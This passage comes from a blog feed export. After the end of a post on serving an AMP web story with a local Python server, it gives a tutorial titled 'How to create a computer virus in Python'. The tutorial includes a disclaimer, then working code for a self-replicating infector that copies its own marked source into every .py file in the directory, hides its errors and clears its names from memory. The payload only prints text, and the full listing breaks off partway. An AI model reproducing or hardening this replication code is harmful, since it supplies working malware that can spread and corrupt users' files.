&lt;span style=&quot;color: #75715e;&quot;&gt;# Your URL type 127.0.0.1:8000&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# Html should be index.html or index.htm&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# Else you will see only list of files in that folder.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;b&gt;*First Download Web Story Sample from &lt;a href=&quot;https://amp.dev/static/files/tutorials/amp-pets-story.zip&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;*Source:- https://amp.dev/documentation/guides-and-tutorials/start/visual_story/setting_up/&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;*Extract the contents of the zip file in a folder and name the folder &quot;PUBLIC&quot;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;*Copy the Python Script in the same folder and name it SERVER.py and RUN&lt;/b&gt;&lt;/p&gt;&lt;b&gt;*View the Effect by clicking on the html pages.&lt;/b&gt;

&lt;center&gt;
&lt;div style=&quot;width: 100%; position: relative; max-width: 500px;&quot;&gt;&lt;div style=&quot;padding-top: 166%;&quot;&gt;&lt;iframe src=&quot;https://onl.st//web-story-server-with-python/&quot; style=&quot;position: absolute; top: 0px; left: 0px; width: 100%; height: 100%;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/center&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/7637232049694521128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/how-to-create-python-server-simple.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7637232049694521128'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7637232049694521128'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/how-to-create-python-server-simple.html' title='How to Create Python Server (Simple Steps) | Run Web Story using Python Server | Create local HTTP Python server'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-3093915330247074763</id><published>2021-12-01T07:57:00.005-08:00</published><updated>2021-12-01T08:36:55.893-08:00</updated><title type='text'>How to create a computer virus in Python</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjmllz4Hj9IhSGYrHYO--OK75WI31z6exZTGyBAWxLVvCcMEXNWAGcwvghMVA33-wzSvB2jmUxdPl68iY5e8OrbwSG5Z3ihIkFMw77ZKwlLrcncmfTwIcM0HddbzQQs6Ecwv6q3wMxbf_euBhmUH--KHmPm6510DBZ8akdthzWf8It5CAMBDsUq2hD6=s1024&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;python virus&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;577&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjmllz4Hj9IhSGYrHYO--OK75WI31z6exZTGyBAWxLVvCcMEXNWAGcwvghMVA33-wzSvB2jmUxdPl68iY5e8OrbwSG5Z3ihIkFMw77ZKwlLrcncmfTwIcM0HddbzQQs6Ecwv6q3wMxbf_euBhmUH--KHmPm6510DBZ8akdthzWf8It5CAMBDsUq2hD6=s16000&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Yes, It is possible to write a code in Python that would work like virus.&lt;/p&gt;&lt;p&gt;But, its anachronistic in 2021. Nowadays other kinds of malware (like &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_worm&quot; rel=&quot;nofollow&quot;&gt;worms&lt;/a&gt; for example) re far more common than viruses. Moreover, modern operative systems 
are more secure and less prone to be infected than MS-DOS or Windows 95 
were (sorry Microsoft…) and people are more aware of the risk of malware
 in general.&lt;/p&gt;&lt;p&gt;Moreover, to write a computer virus, probably Python 
is not the best choice at all. It’s an interpreted language and so it 
needs an interpreter to be executed. Yes, you can embed an interpreter 
to your virus but your resulting virus will be heavier and a little 
clunky… let’s be clear, to write a virus probably other languages that 
can work to a lower level and that can be compiled are probably a better
 choice and that’s why in the old days it was very common to see viruses
 written in C or Assembly.&lt;/p&gt;&lt;p&gt;That said, it is still possible to 
write computer viruses in Python, and in this article, you will have a 
practical demonstration. Now, before start, you know I have to write a little disclaimer.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This article will show you that a computer virus in Python is possible and even easy to be written. However, &lt;b&gt;I am NOT encouraging you to write a computer virus&lt;/b&gt; (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that &lt;b&gt;HARMING AN IT SYSTEM IS A CRIME&lt;/b&gt;!&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, we can proceed.&amp;nbsp;&lt;/p&gt;&lt;p&gt;According to Wikipedia…a &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_virus&quot;&gt;computer virus&lt;/a&gt;
 is a computer program that, when executed, replicates itself by 
modifying other computer programs and inserting its own code. If this 
replication succeeds, the affected areas are then said to be “infected” 
with a computer virus, a metaphor derived from biological viruses. That means that our main goal when writing a virus is to create a 
program that can spread around and replicate infecting other files, 
usually bringing a “payload”, which is a malicious function that we want
 to execute on the target system.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Usually, a computer virus does is made by three parts:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The infection vector: this part is responsible to find a target and propagates to this target&lt;/li&gt;&lt;li&gt;The trigger: this is the condition that once met execute the payload&lt;/li&gt;&lt;li&gt;The payload: the malicious function that the virus carries around&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Let’s start coding.&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# retrieve the virus code from the current infected script&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_virus_code()&lt;/span&gt;

     &lt;span style=&quot;color: #75715e;&quot;&gt;# look for other files to infect&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;find_files_to_infect():&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infect(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code)&lt;/span&gt;

     &lt;span style=&quot;color: #75715e;&quot;&gt;# call the payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;summon_chaos()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;pass&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# delete used names from memory&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;list(globals()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keys()):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(i[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;del {}&#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;format(i))&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;del&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Let’s analyze this code.&lt;/p&gt;&lt;p&gt;First of all, we call the &lt;code&gt;get_virus_code()&lt;/code&gt; function, which returns the source code of the virus taken from the current script.&lt;/p&gt;&lt;p&gt;Then, the &lt;code&gt;find_files_to_infect()&lt;/code&gt; function will return the list of files that can be infected and for each file returned, the virus will spread the infection.&lt;/p&gt;&lt;p&gt;After the infection took place, we just call the &lt;code&gt;summon_chaos()&lt;/code&gt; function, that is - as suggested by its name - the payload function with the malware code.&lt;/p&gt;&lt;p&gt;That’s it, quite simple uh?&lt;/p&gt;&lt;p&gt;Obviously, everything has been inserted in a &lt;code&gt;try-except&lt;/code&gt; block, so that to be sure that exceptions on our virus code are trapped and ignored by the &lt;code&gt;pass&lt;/code&gt; statement in the &lt;code&gt;except&lt;/code&gt; block.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;finally&lt;/code&gt;
 block is the last part of the virus, and its goal is to remove used 
names from memory so that to be sure to have no impact on how the 
infected script works.&lt;/p&gt;&lt;p&gt;Okay, now we need to implement the stub functions we have just created! :)&lt;/p&gt;&lt;p&gt;Let’s start with the first one: the &lt;code&gt;get_virus_code()&lt;/code&gt; function.&lt;/p&gt;&lt;p&gt;To get the current virus code, we will simply read the current script and get what we find between two defined comments.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;For example:&lt;/p&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_of_file&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;readlines()&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(__file__)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;True&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line)&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# end-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;break&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s implement the &lt;code&gt;find_files_to_infect()&lt;/code&gt; function. Here we will write a simple function that returns all the &lt;code&gt;*.py&lt;/code&gt; files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! :)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;find_files_to_infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(directory&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[file&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;*.py&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This routine could also be a good candidate to be written with a generator. And once we have the list of files to be infected, we need the infection
 function. In our case, we will just write our virus at the beginning of
 the file we want to infect, like this:And once we have the list of files to be infected, we need the infection
 function. In our case, we will just write our virus at the beginning of
 the file we want to infect, like this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_if_infectable&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(file)&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_if_infectable(file)):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;write(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(virus_code))&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;writelines(data)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now, all we need is to add the payload. Since we don’t want to do 
anything that can harm the system, let’s just create a function that 
prints out something to the console.&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;summon_chaos&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# the virus payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;We are sick, fked up and complicated&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;We are chaos, we can&#39;t be cured&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ok, our virus is ready! Let’s see the full source code:&lt;/p&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# begin-virus&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;find_files_to_infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(directory&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[file&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;*.py&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)]&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_of_file&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;readlines()&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_if_infectable&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(file)&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

